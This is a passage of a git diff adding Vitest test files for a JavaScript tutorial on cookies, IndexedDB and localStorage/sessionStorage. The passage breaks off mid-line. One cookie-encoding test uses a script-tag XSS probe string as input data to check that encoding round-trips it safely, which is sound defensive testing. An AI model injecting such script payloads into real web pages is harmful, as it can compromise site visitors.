it('should handle cookie lifecycle: create, read, update, delete', () => { + function getCookie(name) { + const cookies = document.cookie.split("; ") + for (const cookie of cookies) { + const [cookieName, cookieValue] = cookie.split("=") + if (cookieName === name) { + return decodeURIComponent(cookieValue) + } + } + return null + } + + // Create + document.cookie = "lifecycle=created; path=/" + expect(getCookie("lifecycle")).toBe("created") + + // Read (tested above) + + // Update + document.cookie = "lifecycle=updated; path=/" + expect(getCookie("lifecycle")).toBe("updated") + + // Delete + document.cookie = "lifecycle=; max-age=0; path=/" + expect(getCookie("lifecycle")).toBeNull() + }) + }) + + // ============================================================ + // EDGE CASES IN DOM ENVIRONMENT + // ============================================================ + + describe('DOM Edge Cases', () => { + it('should handle cookies with empty values', () => { + document.cookie = "empty=; path=/" + + function getCookie(name) { + const cookies = document.cookie.split("; ") + for (const cookie of cookies) { + const [cookieName, cookieValue] = cookie.split("=") + if (cookieName === name) { + return cookieValue || "" + } + } + return null + } + + // Empty cookie might not be stored or returned as empty string + const value = getCookie("empty") + expect(value === "" || value === null).toBe(true) + }) + + it('should handle rapid cookie updates', () => { + for (let i = 0; i < 10; i++) { + document.cookie = `counter=${i}; path=/` + } + + function getCookie(name) { + const cookies = document.cookie.split("; ") + for (const cookie of cookies) { + const [cookieName, cookieValue] = cookie.split("=") + if (cookieName === name) { + return cookieValue + } + } + return null + } + + expect(getCookie("counter")).toBe("9") // Last value + }) + + it('should handle special characters after encoding', () => { + const specialValue = "test<script>alert('xss')</script>" + document.cookie = `safe=${encodeURIComponent(specialValue)}; path=/` + + function getCookie(name) { + const cookies = document.cookie.split("; ") + for (const cookie of cookies) { + const [cookieName, cookieValue] = cookie.split("=") + if (cookieName === name) { + return decodeURIComponent(cookieValue) + } + } + return null + } + + const retrieved = getCookie("safe") + expect(retrieved).toBe(specialValue) + }) + }) +}) diff --git a/tests/beyond/browser-storage/cookies/cookies.test.js b/tests/beyond/browser-storage/cookies/cookies.test.js new file mode 100644 index 00000000..99aaf7bb --- /dev/null +++ b/tests/beyond/browser-storage/cookies/cookies.test.js @@ -0,0 +1,607 @@ +import { describe, it, expect } from 'vitest' + +// ============================================================ +// COOKIES CONCEPT TESTS +// Tests for code examples from cookies.mdx +// Note: Most cookie operations require a browser environment. +// These tests focus on the helper functions and logic that can +// be tested without document.cookie. +// ============================================================ + +describe('Cookies', () => { + // ============================================================ + // ENCODING SPECIAL CHARACTERS + // From cookies.mdx lines 93-101 + // ============================================================ + + describe('Encoding Special Characters', () => { + // From lines 93-101: encodeURIComponent for cookie values + it('should encode special characters in cookie values', () => { + const value = "Hello, World!" + const encoded = encodeURIComponent(value) + + expect(encoded).toBe("Hello%2C%20World!") + }) + + it('should decode encoded cookie values', () => { + const encoded = "Hello%2C%20World!" + const decoded = decodeURIComponent(encoded) + + expect(decoded).toBe("Hello, World!") + }) + + it('should handle values with semicolons', () => { + const value = "key=value;another=test" + const encoded = encodeURIComponent(value) + + expect(encoded).toBe("key%3Dvalue%3Banother%3Dtest") + expect(decodeURIComponent(encoded)).toBe(value) + }) + + it('should handle values with spaces', () => { + const value = "hello world" + const encoded = encodeURIComponent(value) + + expect(encoded).toBe("hello%20world") + }) + + it('should handle empty strings', () => { + expect(encodeURIComponent("")).toBe("") + expect(decodeURIComponent("")).toBe("") + }) + + it('should handle unicode characters', () => { + const value = "Hello, " + const encoded = encodeURIComponent(value) + + expect(encoded).not.toBe(value) + expect(decodeURIComponent(encoded)).toBe(value) + }) + }) + + // ============================================================ + // READING COOKIES - PARSER FUNCTIONS + // From cookies.mdx lines 106-138 + // ============================================================ + + describe('Cookie Parser Functions', () => { + // From lines 106-117: getCookie function + describe('getCookie', () => { + function getCookie(cookieString, name) { + const cookies = cookieString.split("; ") + for (const cookie of cookies) { + const [cookieName, cookieValue] = cookie.split("=") + if (cookieName === name) { + return decodeURIComponent(cookieValue) + } + } + return null + } + + it('should return the value of an existing cookie', () => { + const cookieString = "username=Alice; theme=dark; lang=en" + + expect(getCookie(cookieString, "username")).toBe("Alice") + expect(getCookie(cookieString, "theme")).toBe("dark") + expect(getCookie(cookieString, "lang")).toBe("en") + }) + + it('should return null for non-existent cookie', () => { + const cookieString = "username=Alice; theme=dark" + + expect(getCookie(cookieString, "nonexistent")).toBeNull() + }) + + it('should handle empty cookie string', () => { + expect(getCookie("", "username")).toBeNull() + }) + + it('should decode encoded cookie values', () => { + const cookieString = "message=Hello%2C%20World!" + + expect(getCookie(cookieString, "message")).toBe("Hello, World!") + }) + + it('should handle single cookie', () => { + const cookieString = "only=one" + + expect(getCookie(cookieString, "only")).toBe("one") + }) + }) + + // From lines 121-136: parseCookies function + describe('parseCookies', () => { + function parseCookies(cookieString) { + return cookieString + .split("; ") + .filter(Boolean) + .reduce((cookies, cookie) => { + const [name, ...valueParts] = cookie.split("=") + const value = valueParts.join("=") + cookies[name] = decodeURIComponent(value) + return cookies + }, {}) + } + + it('should parse multiple cookies into an object', () => { + const cookieString = "username=Alice; theme=dark; lang=en" + const cookies = parseCookies(cookieString) + + expect(cookies).toEqual({ + username: "Alice", + theme: "dark", + lang: "en" + }) + }) + + it('should handle empty cookie string', () => { + expect(parseCookies("")).toEqual({}) + }) + + it('should handle values containing equals signs', () => { + const cookieString = "data=a=1&b=2" + const cookies = parseCookies(cookieString) + + expect(cookies.data).toBe("a=1&b=2") + }) + + it('should decode encoded values', () => { + const cookieString = "message=Hello%2C%20World!" + const cookies = parseCookies(cookieString) + + expect(cookies.message).toBe("Hello, World!") + }) + + it('should handle single cookie', () => { + const cookieString = "single=value" + const cookies = parseCookies(cookieString) + + expect(cookies).toEqual({ single: "value" }) + }) + }) + + // From lines 140-147: hasCookie function + describe('hasCookie', () => { + function hasCookie(cookieString, name) { + return cookieString + .split("; ") + .some(cookie => cookie.startsWith(`${name}=`)) + } + + it('should return true if cookie exists', () => { + const cookieString = "username=Alice; theme=dark" + + expect(hasCookie(cookieString, "username")).toBe(true) + expect(hasCookie(cookieString, "theme")).toBe(true) + }) + + it('should return false if cookie does not exist', () => { + const cookieString = "username=Alice; theme=dark" + + expect(hasCookie(cookieString, "nonexistent")).toBe(false) + }) + + it('should not match partial cookie names', () => { + const cookieString = "username=Alice" + + expect(hasCookie(cookieString, "user")).toBe(false) + }) + + it('should handle empty cookie string', () => { + expect(hasCookie("", "username")).toBe(false) + }) + }) + }) + + // ============================================================ + // COOKIE STRING BUILDING + // From cookies.mdx lines 153-196 + // ============================================================ + + describe('Cookie String Building', () => { + // From lines 153-196: setCookie function (without document.cookie) + describe('buildCookieString helper', () => { + function buildCookieString(name, value, options = {}) { + const defaults = { + path: "/", + secure: true, + sameSite: "lax" + } + + const settings = { ...defaults, ...options } + + let cookieString = `${encodeURIComponent(name)}=${encodeURIComponent(value)}` + + if (settings.maxAge !== undefined) { + cookieString += `; max-age=${settings.maxAge}` + } else if (settings.expires instanceof Date) { + cookieString += `; expires=${settings.expires.toUTCString()}` + } + + if (settings.path) { + cookieString += `; path=${settings.path}` + } + + if (settings.domain) { + cookieString += `; domain=${settings.domain}` + } + + if (settings.secure) { + cookieString += "; secure" + } + + if (settings.sameSite) { + cookieString += `; samesite=${settings.sameSite}` + } + + return cookieString + } + + it('should build a basic cookie string with defaults', () => { + const result = buildCookieString("username", "Alice") + + expect(result).toContain("username=Alice") + expect(result).toContain("path=/") + expect(result).toContain("secure") + expect(result).toContain("samesite=lax") + }) + + it('should include max-age when specified', () => { + const result = buildCookieString("token", "abc", { maxAge: 86400 }) + + expect(result).toContain("max-age=86400") + }) + + it('should include expires date when specified', () => { + const expDate = new Date("2025-12-31T00:00:00Z") + const result = buildCookieString("token", "abc", { expires: expDate }) + + expect(result).toContain("expires=") + expect(result).toContain("Wed, 31 Dec 2025") + }) + + it('should prefer max-age over expires when both provided', () => { + const expDate = new Date("2025-12-31T00:00:00Z") + const result = buildCookieString("token", "abc", { + maxAge: 86400, + expires: expDate + }) + + expect(result).toContain("max-age=86400") + expect(result).not.toContain("expires=") + }) + + it('should include domain when specified', () => { + const result = buildCookieString("token", "abc", { domain: "example.com" }) + + expect(result).toContain("domain=example.com") + }) + + it('should allow overriding path', () => { + const result = buildCookieString("token", "abc", { path: "/app" }) + + expect(result).toContain("path=/app") + expect(result).not.toContain("path=/;") + }) + + it('should omit secure flag when set to false', () => { + const result = buildCookieString("token", "abc", { secure: false }) + + expect(result).not.toContain("secure") + }) + + it('should encode special characters in name and value', () => { + const result = buildCookieString("user name", "Hello, World!") + + expect(result).toContain("user%20name=Hello%2C%20World!") + }) + + it('should handle sameSite=strict', () => { + const result = buildCookieString("token", "abc", { sameSite: "strict" }) + + expect(result).toContain("samesite=strict") + }) + + it('should handle sameSite=none', () => { + const result = buildCookieString("token", "abc", { sameSite: "none" }) + + expect(result).toContain("samesite=none") + }) + + it('should handle deletion (max-age=0)', () => { + const result = buildCookieString("token", "", { maxAge: 0 }) + + expect(result).toContain("max-age=0") + }) + }) + }) + + // ============================================================ + // DATE FORMATTING FOR EXPIRES + // From cookies.mdx lines 282-301 + // ============================================================ + + describe('Expiration Date Handling', () => { + // From lines 282-301: expires date formatting + it('should format date correctly for cookies', () => { + const date = new Date("2025-01-15T12:00:00Z") + const formatted = date.toUTCString() + + expect(formatted).toBe("Wed, 15 Jan 2025 12:00:00 GMT") + }) + + it('should calculate date 7 days from now', () => { + const now = new Date("2025-01-01T00:00:00Z") + const sevenDaysLater = new Date(now.getTime() + 7 * 24 * 60 * 60 * 1000) + + expect(sevenDaysLater.toISOString()).toBe("2025-01-08T00:00:00.000Z") + }) + + it('should handle past dates for deletion', () => { + const pastDate = new Date("1970-01-01T00:00:00Z") + const formatted = pastDate.toUTCString() + + expect(formatted).toBe("Thu, 01 Jan 1970 00:00:00 GMT") + }) + + it('should calculate max-age in seconds', () => { + const oneHour = 60 * 60 // 3600 seconds + const oneDay = 24 * 60 * 60 // 86400 seconds + const oneWeek = 7 * 24 * 60 * 60 // 604800 seconds + const oneYear = 365 * 24 * 60 * 60 // 31536000 seconds + + expect(oneHour).toBe(3600) + expect(oneDay).toBe(86400) + expect(oneWeek).toBe(604800) + expect(oneYear).toBe(31536000) + }) + }) + + // ============================================================ + // PATH MATCHING LOGIC + // From cookies.mdx lines 315-340 + // ============================================================ + + describe('Path Matching', () => { + // From lines 315-340: Path attribute behavior + function pathMatches(cookiePath, requestPath) { + // Normalize paths + if (!cookiePath.endsWith('/')) { + cookiePath = cookiePath + '/' + } + if (!requestPath.endsWith('/')) { + requestPath = requestPath + '/' + } + + return requestPath.startsWith(cookiePath) + } + + it('should match exact path', () => { + expect(pathMatches("/app", "/app")).toBe(true) + expect(pathMatches("/app", "/app/")).toBe(true) + }) + + it('should match subpaths', () => { + expect(pathMatches("/app", "/app/dashboard")).toBe(true) + expect(pathMatches("/app", "/app/settings")).toBe(true) + expect(pathMatches("/app", "/app/users/123")).toBe(true) + }) + + it('should not match different paths', () => { + expect(pathMatches("/app", "/about")).toBe(false) + expect(pathMatches("/app", "/")).toBe(false) + }) + + it('should not match partial path names', () => { + // /application is NOT a subpath of /app + expect(pathMatches("/app", "/application")).toBe(false) + }) + + it('should match root path to all paths', () => { + expect(pathMatches("/", "/")).toBe(true) + expect(pathMatches("/", "/app")).toBe(true) + expect(pathMatches("/", "/app/dashboard")).toBe(true) + }) + }) + + // ============================================================ + // JSON STORAGE IN COOKIES + // From cookies.mdx lines 189-191 + // ============================================================ + + describe('JSON Storage in Cookies', () => { + // From lines 189-191: Storing objects as JSON + it('should stringify objects for cookie storage', () => { + const preferences = { theme: "dark", fontSize: 14 } + const encoded = encodeURIComponent(JSON.stringify(preferences)) + + expect(typeof encoded).toBe("string") + expect(encoded).not.toContain("{") // Should be encoded + }) + + it('should parse JSON from cookie value', () => { + const encoded = "%7B%22theme%22%3A%22dark%22%2C%22fontSize%22%3A14%7D" + const decoded = decodeURIComponent(encoded) + const parsed = JSON.parse(decoded) + + expect(parsed).toEqual({ theme: "dark", fontSize: 14 }) + }) + + it('should handle arrays in JSON', () => { + const items = [1, 2, 3] + const encoded = encodeURIComponent(JSON.stringify(items)) + const decoded = JSON.parse(decodeURIComponent(encoded)) + + expect(decoded).toEqual([1, 2, 3]) + }) + + it('should handle nested objects', () => { + const data = { + user: { name: "Alice", age: 30 }, + settings: { darkMode: true } + } + const encoded = encodeURIComponent(JSON.stringify(data)) + const decoded = JSON.parse(decodeURIComponent(encoded)) + + expect(decoded).toEqual(data) + }) + }) + + // ============================================================ + // COOKIE SIZE LIMITS + // From cookies.mdx lines 553-558 + // ============================================================ + + describe('Cookie Size Considerations', () => { + // From lines 553-558: 4KB limit + it('should demonstrate 4KB is approximately 4096 bytes', () => { + const fourKB = 4 * 1024 + + expect(fourKB).toBe(4096) + }) + + it('should calculate string byte size', () => { + // Note: This is simplified - actual byte count varies with encoding + const str = "a".repeat(4096) + + expect(str.length).toBe(4096) + }) + + it('should show encoding increases size', () => { + const original = "Hello, World!" + const encoded = encodeURIComponent(original) + + expect(encoded.length).toBeGreaterThan(original.length) + }) + }) + + // ============================================================ + // COMMON MISTAKES TESTS + // From cookies.mdx lines 502-560 + // ============================================================ + + describe('Common Mistakes', () => { + // From lines 505-511: Forgetting to encode values + describe('Encoding mistakes', () => { + it('should demonstrate that spaces need encoding', () => { + const value = "search term with spaces" + const encoded = encodeURIComponent(value) + + expect(encoded).not.toContain(" ") + expect(encoded).toBe("search%20term%20with%20spaces") + }) + + it('should demonstrate that semicolons need encoding', () => { + const value = "key=value; other=test" + const encoded = encodeURIComponent(value) + + expect(encoded).not.toContain(";") + }) + }) + + // From lines 513-523: Wrong path when deleting + describe('Path matching for deletion', () => { + it('should require matching path to delete', () => { + // This tests the concept - actual deletion requires document.cookie + const originalPath = "/app" + const deletePath = "/" + + expect(originalPath).not.toBe(deletePath) + // In practice, these would need to match for deletion to work + }) + }) + }) + + // ============================================================ + // TEST YOUR KNOWLEDGE - VERIFICATION TESTS + // From cookies.mdx lines 601-680 + // ============================================================ + + describe('Test Your Knowledge Verification', () => { + // Question 1: Session vs persistent cookies + describe('Session vs Persistent Cookies', () => { + it('should understand session cookies have no expiration', () => { + const sessionCookie = "tempId=abc" + const persistentCookie = "remember=true; max-age=604800" + + expect(sessionCookie).not.toContain("max-age") + expect(sessionCookie).not.toContain("expires") + expect(persistentCookie).toContain("max-age") + }) + }) + + // Question 4: Deleting cookies + describe('Cookie Deletion', () => { + it('should understand max-age=0 deletes cookies', () => { + const deleteCookieString = "username=; max-age=0; path=/" + + expect(deleteCookieString).toContain("max-age=0") + }) + + it('should understand past date deletes cookies', () => { + const deleteCookieString = "username=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/" + + expect(deleteCookieString).toContain("1970") + }) + }) + }) + + // ============================================================ + // EDGE CASES + // ============================================================ + + describe('Edge Cases', () => { + it('should handle cookie names with numbers', () => { + const cookieString = "user123=value" + + function getCookie(cookieString, name) { + const cookies = cookieString.split("; ") + for (const cookie of cookies) { + const [cookieName, cookieValue] = cookie.split("=") + if (cookieName === name) { + return decodeURIComponent(cookieValue) + } + } + return null + } + + expect(getCookie(cookieString, "user123")).toBe("value") + }) + + it('should handle empty cookie values', () => { + const cookieString = "empty=; other=value" + + function parseCookies(cookieString) { + return cookieString + .split("; ") + .filter(Boolean) + .reduce((cookies, cookie) => { + const [name, ...valueParts] = cookie.split("=") + const value = valueParts.join("=") + cookies[name] = decodeURIComponent(value) + return cookies + }, {}) + } + + const cookies = parseCookies(cookieString) + expect(cookies.empty).toBe("") + expect(cookies.other).toBe("value") + }) + + it('should handle very long cookie values', () => { + const longValue = "a".repeat(3000) + const encoded = encodeURIComponent(longValue) + + expect(encoded.length).toBe(3000) // ASCII doesn't expand + }) + + it('should handle special characters in cookie names', () => { + // Cookie names should be alphanumeric + some special chars + const validName = "my_cookie-name" + const encoded = encodeURIComponent(validName) + + // Underscores and hyphens don't need encoding + expect(encoded).toBe(validName) + }) + }) +}) diff --git a/tests/beyond/browser-storage/indexeddb/indexeddb.test.js b/tests/beyond/browser-storage/indexeddb/indexeddb.test.js new file mode 100644 index 00000000..10b2192c --- /dev/null +++ b/tests/beyond/browser-storage/indexeddb/indexeddb.test.js @@ -0,0 +1,619 @@ +import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' + +describe('IndexedDB', () => { + // ============================================================ + // UTILITY FUNCTIONS - PROMISIFY PATTERN + // From indexeddb.mdx lines 359-389 + // ============================================================ + + describe('Promise Wrapper Utilities', () => { + // From lines 366-371: promisifyRequest helper function + describe('promisifyRequest', () => { + it('should resolve with the result on success', async () => { + function promisifyRequest(request) { + return new Promise((resolve, reject) => { + request.onsuccess = () => resolve(request.result) + request.onerror = () => reject(request.error) + }) + } + + // Mock an IDBRequest-like object + const mockRequest = { + result: 'test-data', + onsuccess: null, + onerror: null + } + + const promise = promisifyRequest(mockRequest) + + // Trigger success + mockRequest.onsuccess() + + const result = await promise + expect(result).toBe('test-data') + }) + + it('should reject with error on failure', async () => { + function promisifyRequest(request) { + return new Promise((resolve, reject) => { + request.onsuccess = () => resolve(request.result) + request.onerror = () => reject(request.error) + }) + } + + const mockError = new Error('Database error') + const mockRequest = { + result: null, + error: mockError, + onsuccess: null, + onerror: null + } + + const promise = promisifyRequest(mockRequest) + + // Trigger error + mockRequest.onerror() + + await expect(promise).rejects.toThrow('Database error') + }) + }) + + // From lines 374-383: openDatabase helper function + describe('openDatabase', () => { + it('should resolve with db on success and call onUpgrade', async () => { + function openDatabase(name, version, onUpgrade) { + return new Promise((resolve, reject) => { + // Simulate the IndexedDB open behavior + const mockDb = { name, version, objectStoreNames: { contains: () => false } } + const request = { + result: mockDb, + onupgradeneeded: null, + onsuccess: null, + onerror: null + } + + // Simulate upgrade needed + setTimeout(() => { + if (request.onupgradeneeded) { + request.onupgradeneeded({ target: { result: mockDb } }) + } + if (request.onsuccess) { + request.onsuccess() + } + }, 0) + + request.onupgradeneeded = (event) => onUpgrade(event.target.result) + request.onsuccess = () => resolve(request.result) + request.onerror = () => reject(request.error) + }) + } + + let upgradeCalled = false + const db = await openDatabase('TestDB', 1, (db) => { + upgradeCalled = true + expect(db.name).toBe('TestDB') + }) + + expect(db.name).toBe('TestDB') + expect(db.version).toBe(1) + expect(upgradeCalled).toBe(true) + }) + }) + }) + + // ============================================================ + // KEY RANGE UTILITIES + // From indexeddb.mdx lines 296-310 + // ============================================================ + + describe('IDBKeyRange Patterns', () => { + // Simulated IDBKeyRange for testing purposes + const IDBKeyRange = { + only: (value) => ({ type: 'only', value }), + lowerBound: (value, open = false) => ({ type: 'lowerBound', value, open }), + upperBound: (value, open = false) => ({ type: 'upperBound', value, open }), + bound: (lower, upper, lowerOpen = false, upperOpen = false) => ({ + type: 'bound', + lower, + upper, + lowerOpen, + upperOpen + }) + } + + it('should create only range for exact match', () => { + const range = IDBKeyRange.only(5) + expect(range.type).toBe('only') + expect(range.value).toBe(5) + }) + + it('should create lowerBound range (inclusive by default)', () => { + const range = IDBKeyRange.lowerBound(5) + expect(range.type).toBe('lowerBound') + expect(range.value).toBe(5) + expect(range.open).toBe(false) + }) + + it('should create lowerBound range (exclusive)', () => { + const range = IDBKeyRange.lowerBound(5, true) + expect(range.type).toBe('lowerBound') + expect(range.value).toBe(5) + expect(range.open).toBe(true) + }) + + it('should create upperBound range (inclusive by default)', () => { + const range = IDBKeyRange.upperBound(10) + expect(range.type).toBe('upperBound') + expect(range.value).toBe(10) + expect(range.open).toBe(false) + }) + + it('should create bound range with both bounds', () => { + const range = IDBKeyRange.bound(5, 10) + expect(range.type).toBe('bound') + expect(range.lower).toBe(5) + expect(range.upper).toBe(10) + expect(range.lowerOpen).toBe(false) + expect(range.upperOpen).toBe(false) + }) + + it('should create bound range with open bounds', () => { + const range = IDBKeyRange.bound(5, 10, true, false) + expect(range.type).toBe('bound') + expect(range.lower).toBe(5) + expect(range.upper).toBe(10) + expect(range.lowerOpen).toBe(true) + expect(range.upperOpen).toBe(false) + }) + }) + + // ============================================================ + // DATABASE HELPER CLASS PATTERN + // From indexeddb.mdx lines 440-478 + // ============================================================ + + describe('UserDatabase Helper Class Pattern', () => { + // From lines 440-478: UserDatabase class implementation + it('should demonstrate the helper class pattern', () => { + // Mock database object for testing the pattern + const mockStore = new Map() + + class UserDatabase { + constructor() { + this.store = mockStore + } + + async add(user) { + if (this.store.has(user.id)) { + throw new Error('User already exists') + } + this.store.set(user.id, user) + return user.id + } + + async get(id) { + return this.store.get(id) + } + + async getByEmail(email) { + for (const user of this.store.values()) { + if (user.email === email) return user + } + return undefined + } + + async update(user) { + this.store.set(user.id, user) + return user.id + } + + async delete(id) { + this.store.delete(id) + } + + async getAll() { + return Array.from(this.store.values()) + } + } + + const users = new UserDatabase() + + // Verify the class has the expected methods + expect(typeof users.add).toBe('function') + expect(typeof users.get).toBe('function') + expect(typeof users.getByEmail).toBe('function') + expect(typeof users.update).toBe('function') + expect(typeof users.delete).toBe('function') + expect(typeof users.getAll).toBe('function') + }) + + it('should perform CRUD operations correctly', async () => { + const mockStore = new Map() + + class UserDatabase { + constructor() { + this.store = mockStore + } + + async add(user) { + if (this.store.has(user.id)) { + throw new Error('User already exists') + } + this.store.set(user.id, user) + return user.id + } + + async get(id) { + return this.store.get(id) + } + + async getByEmail(email) { + for (const user of this.store.values()) { + if (user.email === email) return user + } + return undefined + } + + async update(user) { + this.store.set(user.id, user) + return user.id + } + + async delete(id) { + this.store.delete(id) + } + + async getAll() { + return Array.from(this.store.values()) + } + } + + const users = new UserDatabase() + + // Add + await users.add({ id: 1, name: 'Alice', email: 'alice@example.com' }) + expect(await users.get(1)).toEqual({ id: 1, name: 'Alice', email: 'alice@example.com' }) + + // Get by email + const alice = await users.getByEmail('alice@example.com') + expect(alice.name).toBe('Alice') + + // Update + await users.update({ id: 1, name: 'Alice Updated', email: 'alice@example.com' }) + expect((await users.get(1)).name).toBe('Alice Updated') + + // Get all + await users.add({ id: 2, name: 'Bob', email: 'bob@example.com' }) + const allUsers = await users.getAll() + expect(allUsers).toHaveLength(2) + + // Delete + await users.delete(1) + expect(await users.get(1)).toBeUndefined() + }) + }) + + // ============================================================ + // SYNC QUEUE PATTERN + // From indexeddb.mdx lines 410-433 + // ============================================================ + + describe('Sync Queue Pattern', () => { + // From lines 410-433: Offline sync queue pattern + it('should queue actions for later sync', async () => { + const syncQueue = [] + + async function queueAction(action) { + syncQueue.push({ + action, + timestamp: Date.now(), + status: 'pending' + }) + } + + await queueAction({ type: 'CREATE_POST', data: { title: 'Hello' } }) + await queueAction({ type: 'UPDATE_USER', data: { name: 'Alice' } }) + + expect(syncQueue).toHaveLength(2) + expect(syncQueue[0].action.type).toBe('CREATE_POST') + expect(syncQueue[0].status).toBe('pending') + expect(syncQueue[1].action.type).toBe('UPDATE_USER') + }) + + it('should filter pending actions for sync', async () => { + const syncQueue = [ + { id: 1, action: { type: 'A' }, status: 'pending' }, + { id: 2, action: { type: 'B' }, status: 'synced' }, + { id: 3, action: { type: 'C' }, status: 'pending' } + ] + + const pending = syncQueue.filter(item => item.status === 'pending') + + expect(pending).toHaveLength(2) + expect(pending[0].action.type).toBe('A') + expect(pending[1].action.type).toBe('C') + }) + }) + + // ============================================================ + // TRANSACTION MODE CONCEPTS + // From indexeddb.mdx lines 227-261 + // ============================================================ + + describe('Transaction Mode Concepts', () => { + it('should understand readonly vs readwrite modes', () => { + const transactionModes = { + readonly: { + canRead: true, + canWrite: false, + canRunInParallel: true, + description: 'Only reading data (faster, can run in parallel)' + }, + readwrite: { + canRead: true, + canWrite: true, + canRunInParallel: false, + description: 'Reading and writing (locks the store)' + } + } + + // Readonly mode + expect(transactionModes.readonly.canRead).toBe(true) + expect(transactionModes.readonly.canWrite).toBe(false) + expect(transactionModes.readonly.canRunInParallel).toBe(true) + + // Readwrite mode + expect(transactionModes.readwrite.canRead).toBe(true) + expect(transactionModes.readwrite.canWrite).toBe(true) + expect(transactionModes.readwrite.canRunInParallel).toBe(false) + }) + }) + + // ============================================================ + // STORAGE COMPARISON DATA + // From indexeddb.mdx lines 318-330 + // ============================================================ + + describe('Storage Comparison Data', () => { + it('should correctly represent storage feature differences', () => { + const storageOptions = { + localStorage: { + storageLimit: '~5MB', + dataTypes: 'Strings only', + async: false, + queryable: false, + transactions: false, + persists: 'Until cleared', + workerAccess: false + }, + sessionStorage: { + storageLimit: '~5MB', + dataTypes: 'Strings only', + async: false, + queryable: false, + transactions: false, + persists: 'Until tab closes', + workerAccess: false + }, + indexedDB: { + storageLimit: 'Gigabytes', + dataTypes: 'Any JS value', + async: true, + queryable: true, + transactions: true, + persists: 'Until cleared', + workerAccess: true + }, + cookies: { + storageLimit: '~4KB', + dataTypes: 'Strings only', + async: false, + queryable: false, + transactions: false, + persists: 'Configurable', + workerAccess: false + } + } + + // IndexedDB advantages + expect(storageOptions.indexedDB.async).toBe(true) + expect(storageOptions.indexedDB.queryable).toBe(true) + expect(storageOptions.indexedDB.transactions).toBe(true) + expect(storageOptions.indexedDB.workerAccess).toBe(true) + + // localStorage limitations + expect(storageOptions.localStorage.async).toBe(false) + expect(storageOptions.localStorage.dataTypes).toBe('Strings only') + + // Cookies limitation + expect(storageOptions.cookies.storageLimit).toBe('~4KB') + }) + }) + + // ============================================================ + // VERSION MIGRATION PATTERN + // From indexeddb.mdx lines 130-150 + // ============================================================ + + describe('Database Version Migration Pattern', () => { + it('should handle version-based migrations correctly', () => { + function runMigrations(db, oldVersion) { + const migrations = [] + + if (oldVersion < 1) { + migrations.push('create users store') + } + if (oldVersion < 2) { + migrations.push('create posts store') + } + if (oldVersion < 3) { + migrations.push('add email index to users') + } + + return migrations + } + + // Fresh install (version 0 -> 3) + expect(runMigrations({}, 0)).toEqual([ + 'create users store', + 'create posts store', + 'add email index to users' + ]) + + // Upgrade from version 1 -> 3 + expect(runMigrations({}, 1)).toEqual([ + 'create posts store', + 'add email index to users' + ]) + + // Upgrade from version 2 -> 3 + expect(runMigrations({}, 2)).toEqual([ + 'add email index to users' + ]) + + // Already at version 3 + expect(runMigrations({}, 3)).toEqual([]) + }) + }) + + // ============================================================ + // ADD VS PUT BEHAVIOR + // From indexeddb.mdx lines 185-188 + // ============================================================ + + describe('add() vs put() Behavior', () => { + it('should demonstrate add() fails on duplicate keys', async () => { + const store = new Map() + + function add(key, value) { + if (store.has(key)) { + throw new Error('Key already exists') + } + store.set(key, value) + } + + add(1, { name: 'Alice' }) + expect(store.get(1)).toEqual({ name: 'Alice' }) + + // Adding same key should throw + expect(() => add(1, { name: 'Bob' })).toThrow('Key already exists') + }) + + it('should demonstrate put() inserts or updates', () => { + const store = new Map() + + function put(key, value) { + store.set(key, value) // Always succeeds + } + + put(1, { name: 'Alice' }) + expect(store.get(1)).toEqual({ name: 'Alice' }) + + // Put with same key should update + put(1, { name: 'Alice Updated' }) + expect(store.get(1)).toEqual({ name: 'Alice Updated' }) + }) + }) + + // ============================================================ + // OBJECT STORE CONFIGURATION + // From indexeddb.mdx lines 154-178 + // ============================================================ + + describe('Object Store Configuration Options', () => { + it('should understand keyPath option', () => { + const config = { keyPath: 'id' } + + // Records must have the keyPath property + const validRecord = { id: 1, name: 'Alice' } + const invalidRecord = { name: 'Bob' } // Missing 'id' + + expect(validRecord[config.keyPath]).toBe(1) + expect(invalidRecord[config.keyPath]).toBeUndefined() + }) + + it('should understand autoIncrement option', () => { + const config = { autoIncrement: true } + let counter = 0 + + function generateKey() { + return ++counter + } + + expect(generateKey()).toBe(1) + expect(generateKey()).toBe(2) + expect(generateKey()).toBe(3) + }) + + it('should understand combined keyPath and autoIncrement', () => { + const config = { keyPath: 'id', autoIncrement: true } + let counter = 0 + + function addRecord(record) { + if (!record[config.keyPath]) { + record[config.keyPath] = ++counter + } + return record + } + + const record1 = addRecord({ name: 'Alice' }) + expect(record1.id).toBe(1) + + const record2 = addRecord({ name: 'Bob' }) + expect(record2.id).toBe(2) + + // If id is already provided, use it + const record3 = addRecord({ id: 100, name: 'Charlie' }) + expect(record3.id).toBe(100) + }) + }) + + // ============================================================ + // CURSOR ITERATION PATTERN + // From indexeddb.mdx lines 272-292 + // ============================================================ + + describe('Cursor Iteration Pattern', () => { + it('should iterate through records one at a time', () => { + const records = [ + { id: 1, name: 'Alice' }, + { id: 2, name: 'Bob' }, + { id: 3, name: 'Charlie' } + ] + + let index = 0 + const results = [] + + // Simulating cursor behavior + function openCursor() { + return { + get current() { + if (index < records.length) { + return { + key: records[index].id, + value: records[index] + } + } + return null + }, + continue() { + index++ + } + } + } + + const cursor = openCursor() + + while (cursor.current) { + results.push({ key: cursor.current.key, value: cursor.current.value }) + cursor.continue() + } + + expect(results).toHaveLength(3) + expect(results[0].key).toBe(1) + expect(results[0].value.name).toBe('Alice') + expect(results[2].key).toBe(3) + expect(results[2].value.name).toBe('Charlie') + }) + }) +}) diff --git a/tests/beyond/browser-storage/localstorage-sessionstorage/localstorage-sessionstorage.dom.test.js b/tests/beyond/browser-storage/localstorage-sessionstorage/localstorage-sessionstorage.dom.test.js new file mode 100644 index 00000000..9df18818 --- /dev/null +++ b/tests/beyond/browser-storage/localstorage-sessionstorage/localstorage-sessionstorage.dom.test.js @@ -0,0 +1,528 @@ +/** + * DOM-specific tests for localStorage & sessionStorage concept page + * Focuses on StorageEvent and cross-tab communication concepts + * + * @see /docs/beyond/concepts/localstorage-sessionstorage.mdx + * + * @vitest-environment jsdom + */ + +import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest' + +describe('StorageEvent and DOM Interactions', () => { + beforeEach(() => { + localStorage.clear() + sessionStorage.clear() + }) + + afterEach(() => { + localStorage.clear() + sessionStorage.clear() + }) + + describe('StorageEvent Interface', () => { + // Tests for MDX lines ~400-430 (StorageEvent properties) + it('should create 